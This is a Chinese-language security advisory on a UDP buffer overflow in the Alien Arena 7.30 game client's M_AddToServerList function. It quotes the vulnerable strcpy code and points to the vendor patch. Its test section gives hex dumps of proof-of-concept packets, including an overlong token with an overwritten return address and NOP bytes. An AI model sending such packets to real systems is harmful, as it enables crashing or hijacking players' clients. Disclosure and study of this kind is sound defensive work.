安全研究
安全漏洞
Alien Arena M_AddToServerList() UDP报文缓冲区溢出漏洞
发布日期:2009-10-21
更新日期:2009-10-22
受影响系统:
COR Entertainment Alien Arena 7.30不受影响系统:
COR Entertainment Alien Arena 7.31描述:
BUGTRAQ ID: 36782
Alien Arena是一款流行的开源第一人称射击游戏。
当Alien Arena游戏客户端请求所要加入的网络游戏列表时,需要向master.corservers.com发送UDP请求,然后等待游戏服务器的响应。根据设计客户端在27901端口上监听服务器所返回的UDP报文,但实际上会接受并解析任意IP地址的UDP报文,即使客户端尚未初始化与该IP地址的UDP会话。因此攻击者只要知道了有效的游戏服务器IP地址,就可以从任意源IP地址发送畸形的UDP报文触发缓冲区溢出。
当客户端在27901端口上接收到了指定服务器描述(print消息)的UDP报文时,会调用\client\menu.c中的M_AddToServerList(...)函数字元化(tokenize)UDP报文的剩余部分(status_string):
| void M_AddToServerList (netadr_t adr, char *status_string)
| {
| char *rLine;
| char *token;
| char lasttoken[256];
| char seps[] = "\\";
| ...
| //parse it
|
| result = strlen(status_string);
|
| //server info - we may revisit this
| rLine = GetLine (&status_string, &result);
| ...
| /* Establish string and get the first token: */
| token = strtok( rLine, seps );
| while( token != NULL ) {
| /* While there are tokens in "string" */
| if (!_stricmp (lasttoken, "admin"))
| ...
| else if (!_stricmp (lasttoken, "website"))
| ...
| else if (!_stricmp (lasttoken, "fraglimit"))
| ...
| else if (!_stricmp (lasttoken, "timelimit"))
| ...
| else if (!_stricmp (lasttoken, "version"))
| ...
| else if (!_stricmp (lasttoken, "mapname"))
| ...
| else if (!_stricmp (lasttoken, "hostname"))
| ...
| else if (!_stricmp (lasttoken, "maxclients"))
| ...
| /* Get next token: */
| strcpy (lasttoken, token);
| ...
lasttoken缓冲区为256字节,因此如果所提供的令牌大于256字节,strcpy(...)函数就会覆盖M_AddToServerList(...)函数的返回地址。
<*来源:Jason Geffner
链接:http://marc.info/?l=bugtraq&m=125616334701264&w=2
http://secunia.com/advisories/37118/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
00000000 FF FF FF FF 73 65 72 76 65 72 73 20 7F 00 00 01 ....servers ....
00000010 00 00 00 00 00 00 FF E4
之后发送以下UDP报文:
00000000 FF FF FF FF 70 72 69 6E 74 0A 5C 41 41 41 41 41 ....print.\AAAAA
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000100 41 41 41 41 41 41 41 41 41 41 41 34 97 BE 05 90 AAAAAAAAAAA4....
00000110 90 90 90 0A 20 41 20 41 .... A A
建议:
厂商补丁:
COR Entertainment
-----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://icculus.org/alienarena/rpa/aquire.html
浏览次数:2787
严重程度:0(网友投票)
绿盟科技给您安全的保障
